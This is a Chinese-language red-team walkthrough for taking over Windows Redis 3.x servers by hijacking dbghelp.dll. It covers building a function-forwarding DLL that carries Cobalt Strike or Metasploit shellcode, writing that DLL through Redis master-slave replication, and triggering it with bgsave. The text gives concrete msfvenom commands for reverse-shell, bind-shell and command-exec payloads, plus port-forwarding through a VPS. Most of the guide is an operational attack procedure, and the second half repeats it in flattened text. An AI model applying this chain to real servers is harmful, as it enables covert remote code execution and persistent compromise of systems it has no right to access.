Windows Redis DLL劫持在实战中的利用
字数 2110 2025-08-04 08:17:24

Windows Redis DLL劫持实战利用指南

1. 前言

在红队项目中,经常会遇到Windows服务器上运行的Redis服务(主要是3.0.504和3.2.100版本)。这些版本由于缺乏模块加载功能,传统的利用方法受限。本文详细介绍通过DLL劫持技术稳定利用Redis服务的方法。

为什么选择DLL劫持

  • 3.x版本Redis没有模块加载功能
  • 微软官方Redis最高只到3.2.100和3.0.504
  • 其他利用方法(Webshell、启动项等)需要高权限或依赖运气
  • DLL劫持对权限无要求,不会破坏原有服务

2. 漏洞原理

2.1 DLL劫持简介

DLL:Windows的动态链接库,包含可被多个程序共享的代码和数据。

DLL劫持:当程序没有指定DLL的绝对路径时,会按特定顺序查找DLL,攻击者可在优先级更高的目录放置恶意DLL。

标准DLL查找顺序

  1. 应用程序目录
  2. Windows系统目录(C:\Windows\System32)
  3. 16位系统目录(C:\Windows\SysWOW64)
  4. Windows根目录(C:\Windows)
  5. 当前工作目录
  6. 系统环境变量PATH指定的路径

2.2 劫持dbghelp.dll

redis-server.exe在执行bgsave命令时:

  1. 先在应用目录查找dbghelp.dll
  2. 找不到再去system32目录查找

无论Redis以何种权限运行(Administrator、普通用户或Network Service),对自己的应用目录都有写权限,可通过Redis主从复制写入恶意DLL。

2.3 函数转发劫持

关键点

  • 需要导出原DLL的函数和地址
  • 保证程序通过恶意DLL调用函数时不影响正常功能
  • 使用工具自动化处理导出函数

工具选择:修改版的DLLHijacker(https://github.com/P4r4d1se/dll_hijack)

原工具问题及修复

  1. VS项目中文乱码:添加encoding="utf-8"
  2. 匿名函数导致错误:添加函数名非空判断
  3. 未使用目标DLL绝对路径:自动填充目标DLL路径

错误现象

  • 只调用恶意DLL,不调用原DLL
  • Redis功能受影响
  • 只能劫持一次
  • Redis关闭后无法启动

3. 漏洞利用

3.1 工具使用

准备工具

  1. 下载修改版DLLHijacker:https://github.com/P4r4d1se/dll_hijack
  2. 安装VS2022(勾选"C++桌面开发")

生成项目

python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll

项目配置

  1. 打开生成的.sln文件
  2. dllmain.cpp中修改shellcode
  3. 配置属性修改:
    • 运行库:Release配置设为"多线程 (/MT)",Debug配置设为"多线程调试 (/MTd)"
    • 禁用安全检查:/GS-
    • 关闭生成清单:/MANIFEST:NO

3.2 出网情况 - Cobalt Strike

步骤

  1. CS生成C语言payload
  2. 替换dllmain.cpp中的payload
  3. 选择Release x64编译
  4. 使用RabR工具(https://github.com/0671/RabR)通过主从复制写入dbghelp.dll
  5. 执行bgsave命令触发

优点

  • 稳定上线
  • 操作简便

3.3 不出网情况 - Metasploit

3.3.1 反向shell

场景:Redis主机不出网,但能连通其他出网主机

步骤

  1. 生成payload:
    msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 RC4PASSWORD=redis LHOST=内网LinuxIP LPORT=4444 -f c
    
  2. Linux主机端口转发:
    ./nb -tran 4444 VPS_IP:8090
    
  3. 使用frp将msf攻击机的4444端口映射到VPS的8090
  4. MSF启动监听
  5. 编译DLL+主从复制写入+触发

3.3.2 正向shell

步骤

  1. 生成payload:
    msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 LPORT=11111 RC4PASSWORD=redis -f c
    
  2. 编译DLL+主从复制写入+触发
  3. MSF正向连接

注意:Windows防火墙可能默认阻止入站连接

3.3.3 exec命令执行

步骤

  1. 生成命令执行payload:
    msfvenom -p windows/x64/exec CMD="命令" -f c
    
  2. 编译DLL+主从复制写入+触发

特点

  • 每次执行需重新生成payload
  • 适合盲打场景

4. 参考工具

  1. 修改版DLLHijacker:https://github.com/P4r4d1se/dll_hijack
  2. 原版DLLHijacker:https://github.com/kiwings/DLLHijacker
  3. Redis主从复制工具:https://github.com/0671/RabR
  4. NAT穿透工具:https://github.com/cw1997/NATBypass
  5. 相关技术文章:https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/

关键总结

  1. 确保使用目标DLL的绝对路径进行函数转发
  2. 正确配置VS项目属性(运行库、安全检查等)
  3. 根据网络环境选择合适的利用方式
  4. 使用RabR工具可自动备份恢复Redis数据
  5. 注意Windows防火墙对正向shell的影响

通过这种方法,可以稳定利用Windows Redis服务,不受权限限制,且不影响原有服务正常运行。

Windows Redis DLL劫持实战利用指南 1. 前言 在红队项目中,经常会遇到Windows服务器上运行的Redis服务(主要是3.0.504和3.2.100版本)。这些版本由于缺乏模块加载功能,传统的利用方法受限。本文详细介绍通过DLL劫持技术稳定利用Redis服务的方法。 为什么选择DLL劫持 3.x版本Redis没有模块加载功能 微软官方Redis最高只到3.2.100和3.0.504 其他利用方法(Webshell、启动项等)需要高权限或依赖运气 DLL劫持对权限无要求,不会破坏原有服务 2. 漏洞原理 2.1 DLL劫持简介 DLL :Windows的动态链接库,包含可被多个程序共享的代码和数据。 DLL劫持 :当程序没有指定DLL的绝对路径时,会按特定顺序查找DLL,攻击者可在优先级更高的目录放置恶意DLL。 标准DLL查找顺序 : 应用程序目录 Windows系统目录(C:\Windows\System32) 16位系统目录(C:\Windows\SysWOW64) Windows根目录(C:\Windows) 当前工作目录 系统环境变量PATH指定的路径 2.2 劫持dbghelp.dll redis-server.exe 在执行 bgsave 命令时: 先在应用目录查找 dbghelp.dll 找不到再去 system32 目录查找 无论Redis以何种权限运行(Administrator、普通用户或Network Service),对自己的应用目录都有写权限,可通过Redis主从复制写入恶意DLL。 2.3 函数转发劫持 关键点 : 需要导出原DLL的函数和地址 保证程序通过恶意DLL调用函数时不影响正常功能 使用工具自动化处理导出函数 工具选择 :修改版的DLLHijacker(https://github.com/P4r4d1se/dll_ hijack) 原工具问题及修复 : VS项目中文乱码:添加 encoding="utf-8" 匿名函数导致错误:添加函数名非空判断 未使用目标DLL绝对路径:自动填充目标DLL路径 错误现象 : 只调用恶意DLL,不调用原DLL Redis功能受影响 只能劫持一次 Redis关闭后无法启动 3. 漏洞利用 3.1 工具使用 准备工具 : 下载修改版DLLHijacker:https://github.com/P4r4d1se/dll_ hijack 安装VS2022(勾选"C++桌面开发") 生成项目 : 项目配置 : 打开生成的 .sln 文件 在 dllmain.cpp 中修改shellcode 配置属性修改: 运行库:Release配置设为"多线程 (/MT)",Debug配置设为"多线程调试 (/MTd)" 禁用安全检查:/GS- 关闭生成清单:/MANIFEST:NO 3.2 出网情况 - Cobalt Strike 步骤 : CS生成C语言payload 替换 dllmain.cpp 中的payload 选择Release x64编译 使用RabR工具(https://github.com/0671/RabR)通过主从复制写入 dbghelp.dll 执行 bgsave 命令触发 优点 : 稳定上线 操作简便 3.3 不出网情况 - Metasploit 3.3.1 反向shell 场景 :Redis主机不出网,但能连通其他出网主机 步骤 : 生成payload: Linux主机端口转发: 使用frp将msf攻击机的4444端口映射到VPS的8090 MSF启动监听 编译DLL+主从复制写入+触发 3.3.2 正向shell 步骤 : 生成payload: 编译DLL+主从复制写入+触发 MSF正向连接 注意 :Windows防火墙可能默认阻止入站连接 3.3.3 exec命令执行 步骤 : 生成命令执行payload: 编译DLL+主从复制写入+触发 特点 : 每次执行需重新生成payload 适合盲打场景 4. 参考工具 修改版DLLHijacker:https://github.com/P4r4d1se/dll_ hijack 原版DLLHijacker:https://github.com/kiwings/DLLHijacker Redis主从复制工具:https://github.com/0671/RabR NAT穿透工具:https://github.com/cw1997/NATBypass 相关技术文章:https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/ 关键总结 确保使用目标DLL的绝对路径进行函数转发 正确配置VS项目属性(运行库、安全检查等) 根据网络环境选择合适的利用方式 使用RabR工具可自动备份恢复Redis数据 注意Windows防火墙对正向shell的影响 通过这种方法,可以稳定利用Windows Redis服务,不受权限限制,且不影响原有服务正常运行。